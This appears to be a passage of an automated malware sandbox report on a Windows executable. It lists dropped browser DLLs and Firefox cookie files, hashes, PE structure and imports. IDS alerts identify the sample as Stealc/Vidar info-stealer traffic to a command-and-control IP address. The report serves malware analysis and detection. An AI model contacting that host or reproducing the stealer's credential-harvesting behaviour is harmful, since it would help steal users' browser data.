SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421549439692547
Encrypted:	false
SSDEEP:	6144:ESvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNc0uhiTw:PvloTMW+EZMM6DFyq03w
MD5:	315E83EFCF86585CAAA5E0C6F3132CAE
SHA1:	CEADB04B8F0CA9AD755018E951C5D2C0B9E33423
SHA-256:	8012252B74B956BCFFC39CBA48B995D286A6A0AEC4D8E1C1AA379AFF647C1490
SHA-512:	503877C85021507AFEACF98711F11090CF668EE922758B7FA41498754148B8A930569F491126486142D6A3F7A915E93227B1B7F74A6D8185A19B5EEA1DA20A84
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmr.;.P.................................................................................................................................................................................................................................................................................................................................................-.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.4479979793993945
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	4JgB4mYxvJ.exe
File size:	336'384 bytes
MD5:	92c3d034fce06771b5a20172071271e0
SHA1:	81520f51607b9c62fff70b7cba7bb9ddbe77937b
SHA256:	3581c582d74f219116323f1c9b14cfdfecf07d07b604b2a2670af6d6a849f99f
SHA512:	9756a63f2c28f61105e80fd1864bb47a995059109a97610a907966131ff6f314569020381a9f61d40e536956e14a335880ea708d1f673b61c79fdaf70b42ef68
SSDEEP:	3072:MjhDkfpEKpnLBOsiZL9+EF5XW7/NvTiAw/PmRhCQdK9iIK0Vyl37Ow14yH1Igd+Z:akfriSheACT1SrR4GhMECc
TLSH:	47649E0372F0AC70F6220B329F69B694669FFC515F115B2B2DC8660F66703E0E2A675D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........A.lFA.lFA.lFL..FY.lFL..F9.lFL..Fm.lFH..FF.lFA.mF/.lF.y.F@.lFL..F@.lF.y.F@.lFRichA.lF................PE..L.....^c...........

File Icon


Icon Hash:	612141515155510d

Static PE Info

General

Entrypoint:	0x403945
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x635EFA1B [Sun Oct 30 22:26:35 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	c9619f19f41ef1b7d232f47cfbcc330b

Entrypoint Preview

Instruction
call 00007F2D3CFA5BB2h
jmp 00007F2D3CFA1B35h
push 00000014h
push 00414DE8h
call 00007F2D3CFA275Ah
call 00007F2D3CFA42CBh
movzx esi, ax
push 00000002h
call 00007F2D3CFA5B45h
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F2D3CFA1B36h
xor ebx, ebx
jmp 00007F2D3CFA1B65h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F2D3CFA1B1Dh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F2D3CFA1B0Fh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F2D3CFA1B3Bh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F2D3CFA25DCh
test eax, eax
jne 00007F2D3CFA1B3Ah
push 0000001Ch
call 00007F2D3CFA1C11h
pop ecx
call 00007F2D3CFA5743h
test eax, eax
jne 00007F2D3CFA1B3Ah
push 00000010h
call 00007F2D3CFA1C00h
pop ecx
call 00007F2D3CFA4014h
and dword ptr [ebp-04h], 00000000h
call 00007F2D3CFA3914h
test eax, eax
jns 00007F2D3CFA1B3Ah
push 0000001Bh
call 00007F2D3CFA1BE6h
pop ecx
call dword ptr [0040F0C4h]
mov dword ptr [04022588h], eax
call 00007F2D3CFA5B99h
mov dword ptr [00431540h], eax
call 00007F2D3CFA5796h
test eax, eax
jns 00007F2D3CFA1B3Ah

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x151fc	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3c23000	0x21dd0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0xf1f0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x14798	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xf000	0x18c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xdde3	0xde00	98b43e34df8578d1c3740df3267e95f1	False	0.6055743243243243	data	6.715784525376707	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xf000	0x6b20	0x6c00	b98039d052ae69d85c8d0be8cbde1ef5	False	0.39467592592592593	data	4.809942439417937	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x16000	0x3c0c5a0	0x1b600	f762e89a0d1ad6e4257d9ba5e0d2430b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3c23000	0x21dd0	0x21e00	75e40a2d5268809d60dd4a8807632535	False	0.4799714598708487	data	5.540022794585123	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3c239d0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Romanian	Romania	0.48587420042643925
RT_ICON	0x3c24878	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Romanian	Romania	0.5974729241877257
RT_ICON	0x3c25120	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Romanian	Romania	0.6463133640552995
RT_ICON	0x3c257e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Romanian	Romania	0.634393063583815
RT_ICON	0x3c25d50	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Romanian	Romania	0.39097510373443983
RT_ICON	0x3c282f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Romanian	Romania	0.5079737335834896
RT_ICON	0x3c293a0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Romanian	Romania	0.5848360655737705
RT_ICON	0x3c29d28	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Romanian	Romania	0.675531914893617
RT_ICON	0x3c2a208	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.5698294243070362
RT_ICON	0x3c2b0b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.549187725631769
RT_ICON	0x3c2b958	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.6170520231213873
RT_ICON	0x3c2bec0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.4636929460580913
RT_ICON	0x3c2e468	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.48850844277673544
RT_ICON	0x3c2f510	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.4959016393442623
RT_ICON	0x3c2fe98	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.4512411347517731
RT_ICON	0x3c30368	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.4163113006396588
RT_ICON	0x3c31210	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.4657039711191336
RT_ICON	0x3c31ab8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5697004608294931
RT_ICON	0x3c32180	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.4624277456647399
RT_ICON	0x3c326e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.4640041493775934
RT_ICON	0x3c34c90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.4831144465290807
RT_ICON	0x3c35d38	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.5004098360655738
RT_ICON	0x3c366c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.5567375886524822
RT_ICON	0x3c36ba0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.4928038379530917
RT_ICON	0x3c37a48	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.4648014440433213
RT_ICON	0x3c382f0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.44508670520231214
RT_ICON	0x3c38858	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.27645228215767637
RT_ICON	0x3c3ae00	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.28728893058161353
RT_ICON	0x3c3bea8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.30655737704918035
RT_ICON	0x3c3c830	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.3351063829787234
RT_ICON	0x3c3cd00	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Romanian	Romania	0.39019189765458423
RT_ICON	0x3c3dba8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Romanian	Romania	0.5703971119133574
RT_ICON	0x3c3e450	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Romanian	Romania	0.5910138248847926
RT_ICON	0x3c3eb18	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Romanian	Romania	0.5274566473988439
RT_ICON	0x3c3f080	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Romanian	Romania	0.5145228215767634
RT_ICON	0x3c41628	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Romanian	Romania	0.5841932457786116
RT_ICON	0x3c426d0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Romanian	Romania	0.5762295081967214
RT_ICON	0x3c43058	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Romanian	Romania	0.6374113475177305
RT_STRING	0x3c43720	0x3ec	data	Romanian	Romania	0.4601593625498008
RT_STRING	0x3c43b10	0x4b6	data	Romanian	Romania	0.44859038142620233
RT_STRING	0x3c43fc8	0x18e	data	Romanian	Romania	0.5175879396984925
RT_STRING	0x3c44158	0x4a2	data	Romanian	Romania	0.43844856661045534
RT_STRING	0x3c44600	0x59c	data	Romanian	Romania	0.4449860724233983
RT_STRING	0x3c44ba0	0x230	data	Romanian	Romania	0.49107142857142855
RT_GROUP_ICON	0x3c30300	0x68	data	Romanian	Romania	0.7115384615384616
RT_GROUP_ICON	0x3c2a190	0x76	data	Romanian	Romania	0.6610169491525424
RT_GROUP_ICON	0x3c36b28	0x76	data	Romanian	Romania	0.6694915254237288
RT_GROUP_ICON	0x3c434c0	0x76	data	Romanian	Romania	0.6694915254237288
RT_GROUP_ICON	0x3c3cc98	0x68	data	Romanian	Romania	0.7211538461538461
RT_VERSION	0x3c43538	0x1e4	data			0.5371900826446281

Imports

DLL	Import
KERNEL32.dll	LocalCompact, GetUserDefaultLCID, AddConsoleAliasW, CreateHardLinkA, GetTickCount, EnumTimeFormatsW, GetUserDefaultLangID, FindResourceExA, GetVolumeInformationA, GetLocaleInfoW, GetCompressedFileSizeA, MultiByteToWideChar, GetTempPathW, SetThreadLocale, ChangeTimerQueueTimer, SetLastError, GetProcAddress, FindFirstChangeNotificationW, BuildCommDCBW, LoadLibraryA, WriteConsoleA, InterlockedExchangeAdd, LocalAlloc, SetCalendarInfoW, GetExitCodeThread, RemoveDirectoryW, AddAtomA, SetNamedPipeHandleState, GlobalFindAtomW, GetModuleFileNameA, GetOEMCP, GlobalUnWire, LoadLibraryExA, ReadConsoleInputW, GetWindowsDirectoryW, AddConsoleAliasA, SetFileAttributesA, GetComputerNameA, WriteConsoleW, GetStringTypeW, GetLastError, HeapFree, EncodePointer, DecodePointer, ExitProcess, GetModuleHandleExW, WideCharToMultiByte, GetCommandLineA, RaiseException, RtlUnwind, IsProcessorFeaturePresent, IsDebuggerPresent, HeapAlloc, GetProcessHeap, HeapSize, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, GetFileType, DeleteCriticalSection, GetStartupInfoW, CloseHandle, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, WriteFile, GetModuleFileNameW, LoadLibraryExW, IsValidCodePage, GetACP, GetCPInfo, GetCurrentThreadId, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, LCMapStringW, GetConsoleCP, GetConsoleMode, SetFilePointerEx, SetStdHandle, FlushFileBuffers, OutputDebugStringW, CreateFileW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpConnect

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/23/24-09:32:54.510361	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49704	80	192.168.2.5	185.172.128.76
04/23/24-09:32:54.174579	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49704	80	192.168.2.5	185.172.128.76
04/23/24-09:32:54.821628	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49704	185.172.128.76	192.168.2.5
04/23/24-09:32:53.782581	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49704	80	192.168.2.5	185.172.128.76
04/23/24-09:32:54.489142	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49704	185.172.128.76	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2024 09:32:53.576503038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:53.782149076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:53.782354116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:53.782581091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:53.988043070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:54.172545910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:54.172744989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:54.174578905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:54.380157948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:54.489141941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:54.489176035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:54.489229918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:54.489254951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:54.510360956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:54.715902090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:54.821628094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:54.821691036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:54.821794987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:54.821827888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:54.821831942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:54.821829081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:54.821863890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:54.821870089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:54.821876049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:54.821906090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:54.864540100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:54.864583969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.070358038 CEST	80	49704	185.172.128.76	192.168.2.5
